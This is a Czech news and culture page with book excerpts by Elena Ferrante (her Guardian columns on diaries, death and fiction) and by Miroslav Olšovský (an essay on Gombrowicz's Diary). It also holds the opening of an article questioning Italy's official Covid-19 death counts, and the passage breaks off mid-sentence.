Aktuální Zprávy

Čas načtení: 2020-04-25 12:17:24

Elena Ferrante: Příležitostné nápady (ukázka z knihy)

Spisovatelka Elena Ferrante po dobu jednoho roku psala na základě otázek redaktorů každotýdenní sloupek pro britský deník Guardian. Otázky ji přiměly, aby vyprávěla o matkách, dcerách, přátelích, zášti, strachu, lžích, romantice, knihách a filmech, svobodě tvorby a dalších rozličných tématech. Už téměř 30 let nevíme, kdo se skrývá za pseudonymem Elena Ferrante, i když romány této spisovatelky vycházejí ve čtyřiceti zemích světa. Na podzim roku 2017 ji redaktoři britského Guardianu oslovili, aby pro jejich noviny psala každotýdenní sloupek. „Polichotilo mi to, zároveň jsem se ale bála. S něčím takovým jsem neměla žádnou zkušenost a obávala jsem se, že to nezvládnu,“ píše Ferrante v úvodu ke knize Příležitostné nápady. Návrh přijala pod podmínkou, že jí redaktoři pošlou seznam otázek, na které bude jednu po druhé ve vymezeném prostoru odpovídat. Redakce s požadavkem souhlasila, stejně tak s podmínkou, že sloupek nebude vycházet víc než rok. První text vyprávějící o jednom „poprvé“ vyšel 20. ledna 2018 a ten poslední o jednom „naposledy“ je z 12. ledna 2019. „Pokaždé jsem ve spěchu ponořila vědro do jedné z temných hlubin své hlavy, vytáhla ven nějakou větu a s úzkostí čekala, jaké další přijdou za ní,“ uvádí spisovatelka. Výsledkem je sbírka jednapadesáti textů nahlížejících do autorčina života i do života čtenáře, jenž je vyzván, aby přemítal o svých vlastních myšlenkách a pocitech k danému tématu. „Bála jsem se každotýdenního termínu, bála jsem se, že budu muset psát, i když se mi nebude chtít, bála jsem se nutnosti zveřejnit text, aniž bych promyšleně zvážila každé slovo. Nakonec převládla zvědavost. Říkala jsem si, že to je něco, co už umím, vždyť léta odpovídám písemně novinářům. Musím však uznat, že přes nesmírnou laskavost redakce Guardianu jsem se ustavičně děsila, že se mi přijatý úkol nepodaří splnit, že ze zbrklosti čtenářům nějak ukřivdím, že si přestanu věřit a budu to muset předčasně vzdát. Ještě že úzkost z otištění textů bohatě vyvážila radost z psaní. Dnes můžu s jistotou říct, že i kdybych tuto zkušenost už nikdy nezopakovala, prospěla mi a já jsem Guardianu vděčná, že mi dali takovou příležitost,“ Dodává Elena Ferrante. Texty v knize doprovázejí ilustrace Itala Andrey Uciniho.   Ukázka z knihy Deníky 3. února 2018 Jako malá jsem si pár let psala deník. Byla jsem nesmělá dívka, říkala jsem na všechno ano, většinou jsem mlčela. Zato ve svém sešitu jsem se plně realizovala: podrobně jsem popisovala, co se mi každý den stalo, nejtajnější příhody, odvážné myšlenky. Proto jsem si ohledně svého deníku dělala velké starosti, bála jsem se, že by sešit mohl najít někdo z rodiny, zvlášť moje matka, a přečíst si ho. A tak jsem nedělala nic jiného, než že jsem vymýšlela bezpečné skrýše, které mi ale záhy začaly připadat nespolehlivé. Proč jsem měla takové obavy? Zatímco v každodenním životě jsem ze samých rozpaků a obezřetnosti pomalu ani nehlesla, deník ve mně vyvolával touhu po pravdě. Říkala jsem si, že v psaném textu nemá smysl se omezovat, a tudíž jsem psala zejména – nebo možná výhradně – o tom, co bych raději zamlčela, a mimo jiné jsem používala slova, která bych si v mluveném projevu nikdy netroufla vyslovit. Brzy se z toho vyvinula situace, která mě vyčerpávala. Na jednu stranu jsem každý den snaživě psala, abych sama sobě ukázala, že jsem nelítostně upřímná a že mi v tom nikdy nic nezabrání; na druhou stranu jsem se hrozila toho, že by někdo na moje stránky jen pohlédl. Tento rozpor mě provázel dlouho a v mnoha ohledech přetrvává ještě dnes. Jestliže jsem psaním chtěla zviditelnit to, co by jinak zůstalo dobře schované v mé hlavě, tak proč jsem žila v úzkosti z toho, že můj deník někdo odhalí? Kolem mého dvacátého roku to začalo vypadat, že jsem našla uspokojivé řešení. Musela jsem přestat s psaním deníků a přesměrovat svou touhu po sdělování pravdy – těch pravd, které jsem se nejvíc bála vyslovit – k fikci. Tou cestou jsem se vydala i proto, že samotný deník se stával fikcí. Velmi často jsem například neměla čas psát den co den, ale pak se mi zdálo, že se tím přerušuje řetězec příčin a následků. Tehdy jsem prázdná místa vyplňovala zpětně datovanými texty. Přitom jsem událostem a úvahám dávala souvislost, kterou stránky psané den po dni postrádaly. Nejspíš proto zkušenost s deníkem a jeho rozpory nemálo přispěla k mému přerodu ve spisovatelku. Cítila jsem se ve fikci i se svými pravdami jistější. Vlastně hned, jak se můj nový způsob psaní ujal, jsem svoje sešity zahodila. Udělala jsem to, protože mi připadalo, že jsou jazykově neohrabané, postrádají myšlenky, které by za něco stály, že jsou plné dětinského zveličování, a hlavně že jsou na míle vzdálené tomu, jak jsem už tehdy chtěla vzpomínat na dospívání. Od té doby jsem už nikdy nepocítila potřebu psát deník.   Konec 10. února 2018 Stále častěji slýchám svoje přítelkyně a přátele říkat: nebojím se smrti, ale nemoci. A tu větu používám i já. Když se ji pokusím rozvést, abych jí trochu víc porozuměla, zjišťuji, co pro mě znamená: neděsím se myšlenky, že přestanu existovat, ale škod způsobených léčebnými procesy, kolísáním mezi iluzí vyléčení a deziluzí, muky umírání. Jako bych přiznávala, že ve skutečnosti mi nahání obavy ztráta zdraví se vším, co to obnáší: oslabením, postupující nemohoucností, 26 redukcí všech radostí na pouhé konstatování toho, že jsem to ještě „já“ a že zatím, ať je mi dobře nebo zle, jsem naživu. Samotná myšlenka smrti tedy v mých představách čím dál víc bledne. Spíš se hrozím konce naplno prožívaného života. Což se odvíjí od toho, že postupem času ztrácím víru v nějakou formu posmrtného života. Dnes si vzpomínám, jak zemřela moje babička. Byla to nejaktivnější členka naší domácnosti, a pak ji na celá léta paralyzovala mrtvice. Sedávala v rohu kuchyně a já – nanejvýš desetiletá – jsem z ní necítila utrpení nebo nedůstojnost, ani ona mi byť jen pohledem nedávala najevo, že by to bylo něco nesnesitelného. Pak náhle přišla smrt a já ji vnímala bolestně v náboženském rámci, v němž jsem byla vychovávána. Smrt pro mě znamenala, že babička odešla do nebe a za sebou nechala tělo, z něhož se stala jen tuhá a studená věc. Tato její smrt měla velmi konkrétní obrysy, pociťovala jsem ji jako děsivou nehybnost a zároveň nanejvýš záhadný pohyb. Moje babička přešla do jakéhosi jiného světa. Později mi jakákoli forma náboženské víry začala připadat absurdní a smrt jako by se proměnila. Nehybnost zůstala, pohyb vymizel. Mrtvé tělo bylo nyní prostě známkou ukončení života daného jedince. Dnes bych o zemřelém člověku nikdy neřekla: odešel. Ztratila jsem dojem, že se jedná o jakýsi přesun: nic neodplyne někam jinam, člověk nevstoupí do jiného světa, nevrátí se, nevstane z mrtvých. Smrt je poslední bod toho úseku života, který nám byl náhodou přidělen. Proto se moje pozornost, tak jako pozornost tolika jiných lidí, soustředila ne na umírání, ale na přežívání. Přejeme si, abychom měli co nejdelší život, který by ale skončil, jakmile se zhorší natolik, že už žádná péče nezaručí jeho snesitelnost. Nevím, jestli je lepší tahle moje dospělá víra, nebo ta, s kterou jsem žila do puberty. Víra není dobrá nebo špatná, slouží jen k tomu, aby dala řád chaosu našich trápení.   Příběhy vymyšlené a pravdivé 17. února 2018 Nedokážu určit, kudy vede hranice mezi pravdivými a vymyšlenými příběhy. Naplánuji si například, že napíšu povídku, v níž ve svých osmačtyřiceti letech v zimě v prázdném venkovském domě zůstanu uvězněná ve sprchovém koutě, kohoutek se nedá zavřít a dojde teplá voda. Stalo se mi to doopravdy? Nikoli. Stalo se to někomu, koho znám? Ano. Bylo té osobě čtyřicet osm let? Ne. Proč tedy buduji vyprávění v první osobě, jako by se to stalo mně? Proč říkám, že byla zima, když ve skutečnosti bylo léto, proč popisuji, že došla teplá voda, když ve skutečnosti pořád tekla, proč tu ženu nechávám uvíznutou několik hodin, když se reálná protagonistka vysvobodila za pět minut, proč příběh komplikuji mnoha dalšími událostmi, pocity, úzkostí, vystrašenými úvahami, když je příhoda, kterou jsem si vyslechla, prostinká, nic než malý bezvýznamný incident? Protože – mohla bych odpovědět – se snažím napsat román podle principu, který Gogol shrnul takto: dejte mi nejbanálnější každodenní událost a já z ní udělám komedii o pěti dějstvích. Jenže taková odpověď mi připadá nedostatečná. Abych si ujasnila myšlenky, zkusím naopak zaujmout opačný přístup. Řekněme, že už mám plné zuby shánění historek, z nichž bych udělala komedie o pěti dějstvích. Řekněme, že mám chuť se důsledně držet svědectví své kamarádky. Jdu si s ní tedy promluvit. Vezmu si s sebou iPad a rovnou natočím video, protože chci její vyprávění zaznamenat co nejpřesněji. Pak se vrátím domů a pustím se do práce. Znovu a znovu si pročítám poznámky, znovu a znovu sleduji video, znovu a znovu poslouchám a jsem zmatená. Jestlipak mi kamarádka doopravdy vypráví události tak, jak se seběhly? Proč se do vyprávění zamotává, když mi popisuje rozbitý sprchový kout? Proč po prvních dobře formulovaných větách následují nefunkční fráze, proč se zvýrazní rytmus dialektu? Proč se při vyprávění ustavičně dívá doprava? Co je asi napravo, co nevidím na nahrávce a co jsem neviděla ani ve skutečnosti? A jak si budu počínat, až se pustím do psaní? Budu se snažit odhadnout, co se skrývá na pravé straně, co přede mnou možná tají? Uhladím její vyjadřování? Budu věrně zachovávat její přeřeknutí? Potlačím výrazovou nevyrovnanost, nebo ji zveličím, aby byla znatelná? Budu o její verzi událostí pochybovat, budu rozvíjet nějaké domněnky, vyplním prázdná místa? Snaha o věrnost zkrátka nemůže být nezávislá na mé představivosti, na hledání fiktivní koherence, na přisouzení řádu a smyslu, ba dokonce na napodobení chybějícího řádu a smyslu. Každé literární využití textu se svou neodmyslitelnou umělostí vždy obnáší nějakou formu fikce. Rozhodující je spíš to, kolik pravdy se té fikci ve výsledku podaří zachytit.   Elena Ferrante, publikující už od svého prvního románu Tíživá láska (česky Prostor 2018) pod tímto pseudonymem, se proslavila po celém světě především tetralogií Geniální přítelkyně (česky Prostor 2016–2018). Týdeník Time ji v roce 2016 zařadil mezi 100 nejvlivnějších lidí světa. Na motivy tetralogie uvedla televize HBO v roce 2018 osmidílný seriál zachycující první díl ságy a v následujících letech chystá uvést na obrazovky také další díly tetralogie. Rovněž její romány Tíživá láska a Dny opuštění se dočkaly filmového zpracování. Andrea Ucini je italský konceptuální ilustrátor, který žije a pracuje v Dánsku. Vystudoval klasickou hru na klavír a skladbu na Academia Musicale ve Florencii. Vedle hudby byla jeho další vášní vždy kresba, jíž se začal věnovat profesionálně a za niž získal prestižní ceny. Pravidelně spolupracuje s různými periodiky, mimo jiné s The New York Times, The Washington Post, The Wall Street Journal a The Guardian. Pro poslední zmiňovaný deník ilustroval týdenní rubriku, kterou vedla Elena Ferrante v průběhu roku 2018.   Z italského originálu L’invenzione occasionale, vydaného nakladatelstvím Edizioni E/O v Římě roku 2019, přeložila Anna Kudrnová. Ilustrace v knize a na obálce Andrea Ucini. 224 stran. Vydalo nakladatelství Prostor roku 2020. První vydání. {loadmodule mod_tags_similar,Související}

Čas načtení: 2020-04-10 07:49:43

Miroslav Olšovský: Anarchie a evidence. Esej o psaní a vidění (ukázka z knihy)

Moderní literatura spočívá na decentralizovaném psaní a nehierarchickém prezentování v původní nerozlišitelnosti událostí. Moderní literatura nezakládá dílo, ale proces psaní, který dílo rozkládá. Psaní je anarchie a pokračuje jako evidence toho, co chce být řečí sděleno, jako jisté setrvání sdělení v čase. Moderní umělecký jazyk se snaží událostem přiblížit až na hranici jejich reprezentace a ukázat je v jejich stávání se událostmi. Takový jazyk se stává jazykem pohybu, jazykem kinematografickým a evidentním. Psaní je „permanentní evidencí“, je clonou (Gombrowicz) i průhledem (Nabokov). Kniha pojednává o projevech psaní a vidění nejen v tvorbě Gombrowicze a Nabokova, ale také Babela, Becketta, Bělého, Čechova, Kafky, Pilňaka anebo Prousta.   Ukázka z knihy: 2. KAPITOLA: DENÍK ZMIZELÉHO Podívejme se proto blíže na Deník (Dziennik, 1953–1969) Witolda Gombrowicze, v němž akt psaní zachycuje aktuální a stávající dění. Čím je tato kniha v kontextu moderní literatury a umění? Je pouze deníkem, a zastupuje tak svébytný umělecký žánr, který začal být aktuální po druhé světové válce, anebo je něčím více, něčím, co stále překračuje horizont našeho chápání a propojuje nejrůznější tendence v oblastech umění a literatury?             Deník Witolda Gomborowicze má performativní povahu, respektive jeho jazyk je performativní. Autor nepředkládá událost samotnou, ani neukazuje její záznam, ale předvádí ji v jejím procesu jako aktuální dění tak, že ji psaním realizuje. Zároveň sám v této události vystupuje, nechápe ji mimo sebe, ale jako svou součást. Nedemonstruje své umění, ale Gombrowicze jako umělce, tvůrce i aktéra události. Nejde jen o všudypřítomnou ironii, procházející napříč jeho dílem, s níž pohlíží na konstrukty zvané literatura a umění. Jeho smích nad uměním souvisí s výsměchem všemu, co je umělé, a s příklonem k tělesnosti. Jako by se Deník sám stával tělem, které ukazuje svá zranění, své nemoci a řezné rány (zasazené jazykem), ale také svou sexualitu a psychiku. Jako by svět útočil na tělo a vrýval do něj své stopy.             I z toho důvodu začíná Deník zvoláním Já. Já je první a jedinou jistotou o sobě i údivem neustálé nejistoty. Ale také zdůrazněním toho, co dále následuje. Všechno další je taky Já, jsou to částečky prachu mého těla. Můj jazyk jsem já sám a popisované události jsem také já sám, protože jsem je prožil a zakusil na sobě. Byl jsem událostem fyzicky přítomen. A pokud nebyl, dotýkám se jich právě teď, tím, že o nich píši. Svět útočí na mě a já útočím na svět. Spojením těla a řeči vytvářím svoji identitu. Tady jsem já a tam jste vy.             Gombrowicz v Deníku předvádí naprostou změnu v chápání toho, co může být uměním literatury. Už dávno to není jenom to krásné a vznešené, co stojí mimo mne, ale naopak to, co se mě fyzicky dotýká, čeho se chápu a co ve svých rukou držím. Umění je moje zkušenost toho, co je umění a co jako umění vnímám. Uměním jsem já sám, moje nejbližší okolí a moje soukromá činnost. Podobně je tomu u obrazů americké výtvarnice Evy Hesse, visících ze stropů a stěn jako živé tkáně. Zadržují v sobě potřebu fyzického doteku. Deník obecně není jen výrazem společné lidské zkušenosti, jehož vlastní subjekt by mohl být podružný a snadno zaměnitelný jako například u postavy a vypravěče v románu či u takzvaného lyrického subjektu. Vždy je vyjádřením osobní zkušenosti daného konkrétního člověka.             Gombrowiczův Deník není jen retrospektivním záznamem událostí, které proběhly, ale uměleckou hrou s celým literárním žánrem a s událostmi v něm obsaženými. Jazyk je v deníku vždy událostí. Deník umělce se stává stopou uměleckého života, jeho svědectvím. Zároveň umělecký život formuje, dává mu tvar a činí jej uměleckým. Právě žánr deníku volá po jiném přístupu k umění v životě, neboť všechno, co udělám a na co pomyslím, deník sejme na své stránky, aby se oděl mým obnažením. Proto je důležité, co dělám, promýšlím a vytvářím jako umění, byť jen ve své mysli a na svém těle. Deník ze mne sejme mou zkušenost (nezdokumentuje, ale sejme) a vytvoří z mých sepsaných pozorování svědectví o mé cestě. Otiskne můj pohyb na své stránky.             Deník je možný vždy jen jako cestovní, putovní: tak je tomu u Máchy, ale také u Kafky. Byť neakcentují cestu přímo, vždy s autorem putují, jsou mu po ruce. Je to „příruční“ žánr,383 předpokládá rozvrhování času. Určují a tvarují jej zápisy v čase. Sám deník je časem, který se usazuje a vrství do stopy jako událost. Člověk si ho neustále bere s sebou. Ukazuje mu změnu místa. Tak si ho bere s sebou i Gombrowicz. Nejsou to ovšem desky s nápisem „Deník“, ale cosi, co se pořád aktuálně píše tak, jak se události samy řadí a rozvrhují v čase. Přičemž za událost můžeme považovat všechno, co lze vydělit, u čeho lze najít hranici. Cokoli – vzpomínku, záblesk či letmé zahlédnutí. To, co se píše jako deník, píše se jako zkušenost: vrypy a tahy mé ruky. Každé psaní je zkušeností tahu, který se vrství do stopy.             Jestliže píšeme, vždy píšeme soukromý deník. Psaní se tak stává výrazem naprostého soukromí, nezaměnitelnosti a jedinečnosti. Gombrowicz tuto touhu po nezaměnitelnosti neustále zdůrazňuje: „Kdežto já chtěl být – být sebou – sebou, nikoli umělcem, ani ideou, ani nějakým svým dílem – nýbrž sebou. Být nad uměním, nad dílem, nad stylem, nad ideou.“384 S vědomím, že všechno ostatní v umění, co je pouze výrazem stylu a formy, je vždy zaměnitelné: „Vyrábějí a fungují. Kultura a civilizace. Jsou tak uvězněni v oděvu, že se sotva mohou hýbat, podobají se mravencům namazaným něčím lepkavým. Když jsem si začal svlékat kalhoty, vypukl zmatek, utíkali dveřmi i okny. Zůstal jsem sám.“385 Stejně jsou zaměnitelní samotní básníci a romanopisci,386 protože umění stylu předpokládá umění vytříbené formy, určité poetiky, která je vždycky dobová a diskursivní. Podléhá změnám epoch, módě a kráse. Podléhá epistémé, a je tedy nejen poplatná měnícím se normám a průměru, ale tyto normy se čím dál více nivelizují: „V západní epistémé je to, co je hloupé, hloupé přímo giganticky – proto to není postižitelné.“387 Ironie rozumu spočívá v rostoucí hlouposti: „Bezbrannost epistémé vůči takové křiklavé hlouposti je charakteristickým rysem naší doby.“388 Skutečné umění nejde redukovat na kategorie krásy a vznešenosti nebo na estetické a poetologické kategorie. Právě umění deníku se každé kráse, eleganci a vytříbenosti vymyká, stejně jako každé formě a stylu, protože deník je zcela takový, jaký jsem já sám ve své autenticitě a nezaměnitelnosti. Podobá se zrcadlu, které na svém povrchu uchovává veškeré změny, jež se se mnou udály. Psaním deníku se neustále tiskne čas, stopa v pohybu, rukopis psaný mou chůzí i vrypem ruky.             Deník je přesně ten žánr, kterého se nejde zmocnit, ačkoli zdánlivě nabízí to nejjednodušší možné vodítko pro uchopení. Stačí zapisovat si den po dni. To však není deník. Skutečný deník, o který jde Gombrowiczovi, je jako portrét tváře ve chvíli, kdy byla zkřivena grimasou. Vlastně nejde o otisk podoby, ale spíše grimasy. Kalkulu se sebou samým. Jsem to stále já a zároveň to nikdy nejsem já. Deník se neustále mění podle toho, kdo si ho kdy píše, jak se mění autor. Ustavičně jej napodobuje, ale také proměňuje. Zrcadlo, které se mění podle toho, kdo se na ně dívá a kdo si v něm čte. Deník se stává rozhovorem mezi autorem a záznamem, spočívá právě na této korespondenci, je to relační žánr. Autor udělá krok a deník jeho krok napodobí. Autor nahlédne do deníku a ten nahlédne do něj. Cokoli uděláš, udělá i deník, deník je světem, který tě všude doprovází a napodobuje. Vysmíváš se světu? Ne, to svět se deníkem vysmívá tobě, vyplázneš na svět jazyk, a přitom svět vyplazuje jazyk na tebe. Tak se Gombrowicz směje světu, aby se vysmál sám sobě. Dochází ke zdvojení, text se přenáší na autora – distance mezi autorem a textem je tak nepatrná, že vlastně mizí. Text se stává jakýmsi obydlím pro autora, který ho píše. Enviromentem.389 Ale zároveň je vždy pozadu za svým autorem. Autor je stále před ním a deník se stává jeho stínem. Jsem to já, a nejsem to já. Vrhám stín, jako vrhám deník, jako vrhám sebe. Či snad deník vrhá mě a já jsem jen jeho doprovázejícím stínem? Jakmile ukážu na sebe a řeknu, to jsem já, už to já nejsem. Vytvořil jsem mezi sebou a sebou distanci (diferenci); zcizil jsem se sobě. Jsem prstem, který na sebe ukazuje. Deníkem, reflexí, stínem, anebo bědným dvojníkem. Jsem někým jiným: deníkem, kterým se píši. „Já je někdo jiný,“ poznamenává Rimbaud.390             Deník je často chápán jako nízký žánr, podobně tomu bylo kdysi s románem. Obvykle se nepřijímá jakožto svébytné umění, ale pořád ještě jako literární pozůstalost, zpráva nebo dokument. Gombrowiczův Deník je spíše otiskem v čase (snímáním) než dokumentem. Čas se v něm neuzavírá, ale otevírá. Jako žánr okraje stojí deník před propastí. Záznamy jsou každodenní a vždy sahají jen potud, pokud žiji. Deník mě neustále dosahuje, doprovází jako Sancho Panza a Vergilius (Gombrowicz své zápisky končí parodií Dantovy Božské komedie, jejímž určujícím motivem je právě pouť, cesta, podobně jako v Deníku). To, co stojí před námi, deník nevidí. Vidí jen to, kde se právě nacházíme. Před námi se rozevírá prostor dosud nespatřeného a nepopsaného. Deník se neuzavírá v dílo, ale vždycky se otevírá k životu, který bude.             Oproti jiným žánrům deník není možné dokončit ani nedokončit, neboť končí v každém okamžiku psaní. Neústí v konec, nespěje do závěru, nemá finále, ale končí vždy a všude. Deník se vlastně nikdy nemůže stát nehybným, mrtvým artefaktem, Gombrowiczovou Formou. Má smysl jen v kontextu konkrétního života. Neuzavírá se, ale umlká. A jestliže Gombrowicz Deník uzavírá, vyvrací tím princip deníku, jeho „deníkovost“. Pokud je Deník uzavřený, není deníkem, ale románem, který si na deník pouze hraje. „Deníkovost“ pak není zkušenost psaní, ale styl. Pokud je však Deník deníkem, pak je vždycky fragmentem, zlomkem a sérií, v níž jednotlivé události tvoří synonymickou řadu. Jednotlivé zápisy Deníku sice jen obměňují prvotní událost uvědomění si „Já“ z počátku knihy a každý zápis je soběstačným zlomkem v řadě, zároveň se však před námi rozprostírá životní pouť hrdiny v navzájem propojených kapitolách Bildungsromanu, které nejde přeskupovat, jako je tomu ve Spadaných listech Vasilije Rozanova.             Deník se skládá z událostí, které „se přiházejí“: „Je třeba být stržen oním ,přihází se‘, a nikoli tím, ,co se přihází‘,“ říká Jean-François Lyotard.391 Samotná událost jako produkt toho, co se přihodilo, není důležitá. Důležitý je atak příhody, onoho přiházení. Toho, co útočí na mé tělo jako na deník, který píšu, a na nějž útočím tak, že jej píšu. Deník se stává pozadím toho, co mé tělo píše; pozadím mého pohybu, mé chůze, celé mé činnosti. Je aktivizací této činnosti, jsem v něm přítomen, jen když jej píšu „právě teď“.             Každé skutečné psaní je deníkové. Toto „píšu“ je atakem, kterým se mě svět dotýká. Svět na mě útočí skrze „píšu“ a atakuje celé moje tělo, které tímto „píšu“ tisknu a pečetím v deník. Svět také atakuje mým „píšu“ deník. Ten, myslitelný jen v pohybu, je prodloužením těla, mým orgánem, rezonující membránou, jež se zároveň stává branou do mého nitra a soukromí. Psát deník znamená psát soukromí, a tím je zvnějšnit. To, jak píšu deník, je nepřetržitou sérií událostí, které nemohu postřehnout jinak než četbou deníku. Touto událostí psaní se obracím a směřuji k nicotě „nedopsaného“, rozkládající se za „ještě nenapsaným“. Zároveň psaní postupně mizí a bledne, jako mizí prožitý čas, a mění se v „již napsané“. Ztrácí se v nedohlednu začátku, který je vždycky teď. Pokaždé je zakoušen, ale nikdy není spatřen. „Píšu“ nejde nikdy skončit ani završit. To, co píšu, je vždycky utnuto a padá přes okraj onoho „už ne-píšu“: „[…] vyprávění začíná vždycky uprostřed a ‚konec‘ má jenom tehdy, když se rozhodneme přerušit sled událostí, jenž je o sobě nekonečný“, podotýká Lyotard.392 Co „dopadlo“, nazýváme textem.             Když otevírám deník, rozevírám události v něm popsané a řadím je do prostoru. Tak nejsou mezi sebou události dnů, měsíců a let spjaty lineárně ani kauzálně, ale jsou seřazeny v prostoru deníku, který se stal scénou. Přestože je deník zveřejněn, nikdy tomu není tak zcela a stále zůstává soukromým. Je synonymem soukromí. Vždy v něm zůstává cosi nepochopeného a hlubinného, co se neustále samo dává jako vnějšek, a přesto z něj uniká, protože svět či situace, které představoval, nenávratně zmizely. Vždy je v něm zahrnut aktuální čas. Na jeho stránkách se nachází zmizelé tělo. Deník, který čteme, je svědkem zmizelého. Toho, kdo ještě není, a zároveň toho, kdo již není. Na každém místě začíná a zároveň končí. Podobné napětí existence je vlastní také objektům české výtvarnice Evy Kmentové. Většina jejích objektů tvoří svérázný „deník“, komentující vlastní zmizelou existenci.             Gombrowiczův Deník má být především pobídkou, pohnutím, provokací, vším, co vybízí k umělecké činnosti, která může být jakákoli. Umění je soukromou činností, akcí v tom smyslu, jako je tomu v básních Jiřího Koláře Návod k upotřebení. Podobně Deník má skrytě apelativní charakter – udělej to po mně, staň se umělcem, umělcem sebe sama. V tom spočívá pobídka k následování jako specifickému modu mimésis: nápodoba jako následování:   Naproti tomu kritika literatury, to je slovo o slovu, literatura o literatuře. Co z toho plyne? Že literární kritik musí být umělcem slova a spolutvůrcem, je vyloučeno „popisování“ literatury tak, jako se – bohužel – popisují obrazy, je třeba se toho zúčastnit, nemůže to být kritika zvenčí, kritika věcí.393               Proto není v Gombrowiczově Deníku ani tak důležitý deník, jako autor sám. V tomto smyslu jsou jeho předchozí romány ještě v zajetí literatury a apelu bourajícího Formu.             Teprve Deníkem se Gombrowiczovo psaní literatuře vymyká a vzdaluje se jí, ale zároveň se dostává do zajetí sebe sama, svého sepsaného jména. Jeho nechuť k produktu (Formě) způsobuje, že se jeho umělecká činnost završuje až rozhovory v Testamentu, kde sepsaný, oficiální Gombrowicz plně nahrazuje toho živého, soukromého, jenž unaveně vykukuje zpoza mrtvé skořápky svého jména. Zpoza Formy.   Dokážu se na stará kolena vzbouřit ještě jednou, tentokrát proti němu, Gombrowiczovi? Tím si vůbec nejsem jist. Přemýšlím o všelijakých úskocích, jak se vymanit z této tyranie, ale nemoc a věk mi berou sílu. Zbavit se Gombrowicze, zkompromitovat ho, zničit, ano, to by bylo oživující… Jenže nejtěžší je zápasit s vlastní skořápkou.394               Živý Gombrowicz, který je přítomen, je zároveň absencí: tím, kdo zmizel ve chvíli, kdy dopsal. Rozhovory s ním je třeba klást jako vyvrcholení změny poetiky, započaté v Deníku, kdy mizí umění jako dílo a naopak se klade umění jako činnost, která je vzpourou umělce proti umění jako produktu. Tedy neustálá přítomnost jako mizení, ztrácení se a zároveň jako ironie, protože rozhovory v Testamentu jsou Gombrowiczem předem připravené. Ten, kdo je plně přítomen, se neustále ztrácí. Je přítomen tak, že se ztrácí. Právě jeho vytrácení je způsobem, jakým neustále je.             Umění jako zkušenost, demonstrace těla jako uměleckého objektu, obraz jako stopa zmizelé činnosti a akce – všechny tyto motivy jsou příbuzné uměleckým trendům šedesátých let, akci a performanci. Řečeno jinak: Gombrowicz spolu s ostatními (Borges, Kafka, Charms) předjal konceptuální postupy šedesátých a sedmdesátých let minulého století. Při pročítání stránek jeho zápisků člověku tanou na mysli umělecké akce Josepha Beuyse a experimenty Antonina Artauda – ani oni nejsou nikdy zcela přítomni ve svých dílech, ale naopak díla poukazují k nim. Jsou přítomna pouze ve svých autorech. Díla jsou jejich tělem. Nejsou důležitá sama o sobě, ale jen ve vztahu ke svým tvůrcům, kteří měli tu a tu zkušenost.             Soukromé umění deníku předpokládá nemožnost převést osobní rovinu, psaní autora, na nějaký stylový či žánrový invariant. Psaní je vždy soukromé a svým způsobem nezveřejnitelné. Dnes se příliš věnuje pozornost umění jako veřejnému faktu a zapomíná se, že vzniká a děje se vždy v soukromí. Deník vrhá ostatní žánry jakožto veřejné do nejistoty a ukazuje je v pravém světle Formy. Ve skutečnosti žádný román ani povídka nejsou zcela tím, čím se prezentují, tedy svými texty, ale především světy, které jsou soukromé a které v momentě, kdy my je čteme, jsou již minulostí.   383 „Příruční jsoucno každodenního zacházení má charakter blízkosti. Přesně viděno je tato blízkost prostředku naznačena již v termínu vyjadřujícím jeho bytí, v ‚příručnosti‘. Jsoucno, které je ‚po ruce‘, je vždy v nějaké blízkosti, která se nestanovuje vyměřením vzdálenosti.“ HEIDEGGER, Martin: Bytí a čas. Přeložil I. CHVATÍK, P. KOUBA, M. PETŘÍČEK, J. NĚMEC. Praha: OIKOYMENH, 2002, s. 129. 384 GOMBROWICZ, Witold: Deník, op. cit., s. 493. 385 Ibidem, s. 574. 386 „Zatímco kdysi se spisovatel snažil napodobovat knížete, dnes napodobuje kníže spisovatele.“ Ibidem, s. 567. 387 Ibidem, s. 657. 388 Ibidem. 389 Tak se chce hrdina Kafkovy povídky Doupě před světem ochránit tvorbou, zbudováním doupěte, avšak světu se vyhnout nelze, svět nakonec každý výtvor ničí. 390 RIMBAUD, Jean-Arthur: Dopisy vidoucího (Paulu Demenyovi, 15. května 1871). Překlad A. Kroupy upravil R. Kraus. In: Idem: Srdce pod klerikou. Próza. Praha: Boj – Aurora, 1993, s. 102. 391 LYOTARD, Jean-François: Putování a jiné eseje, op. cit., s. 29. 392 Ibidem, s. 8. 393 GOMBROWICZ, Witold: Deník, op. cit., s. 578. 394 GOMBROWICZ, Witold: Testament. Hovory s Dominiquem de Roux. Přeložila H. STACHOVÁ. Praha: Revolver revue, 2004, s. 159.   Básník, prozaik, rusista a komparatista Miroslav Olšovský (*1970) je autorem prózy Líčení (2012) a básnických sbírek Záznamy prázdnot (2006; autorský výbor z básní 1990–2003), Průvodce krajinou (2011), Knihy záznamů a prázdnot (2017; přepracované a rozšířené vydání autorovy prvotiny) a Tahiti v hlavě (2019). Podílel se na vydání a překladu antologie literární a filozofické tvorby činarů Ten, který vyšel z domu... (2003). Edičně připravil výbor z básníka Igora Cholina Nikdo z vás nezná Cholina (2012). Básně a eseje o literatuře publikoval v A2, Pěší zóně, Souvislostech či Světu literatury. Letos mu v nakladatelství Academia v edici Literární řada vyšla kniha Anarchie a evidence. Pracuje ve Slovanském ústavu AV ČR. Nakladatelství Academia, Praha, 2020, 1. vydání, brož., 268 stran. {loadmodule mod_tags_similar,Související}

Čas načtení: 2020-03-29 14:47:55

Pochybnosti o číslech aneb Kolik je vlastně v Itálii mrtvých?

Čísla ze severoitalských obcí zpochybňují současné statistiky nemoci Covid-19. Italské úřady poskytují každý den v 18.00 statistiky nových případů a úmrtí. Počet úmrtí se v posledním týdnu pohybuje ve vyšších stovkách. Takto vypadá graf převzatý ze stránky Worldometers. Tak například 28. března to bylo 889 úmrtí. Giorgio Gori, starosta jednoho z nejpostiženějších měst, severoitalského Bergama, však nedávno tyto statistiky razantně zpochybnil. Říká následující: „V Bergamu zemřelo mezi 1. a 24. březnem 446 obyvatel. To je o 348 více než činí průměr za poslední roky (98). Oficiálně bylo 136 úmrtí kvůli Covid-19. Je jich 212. Kdyby byla smrtnost 1–2 %, měli bychom ve městě 17–23 tisíc nakažených.“ Jeho námitka je vážná, protože je založena na neoddiskutovatelné realitě; ve městě velikosti Olomouce nemá za tři týdny co zemřít skoro pět set lidí. Giorgio Gori není ve svých pochybnostech sám. Ve městečku Nembro (11 tisíc obyvatel) zaznamenali také prudkou špičku úmrtnosti, daleko vyšší, než činí oficiální statistiky případů Covid-19. (Článek v Corriere della sera). Tentýž článek v 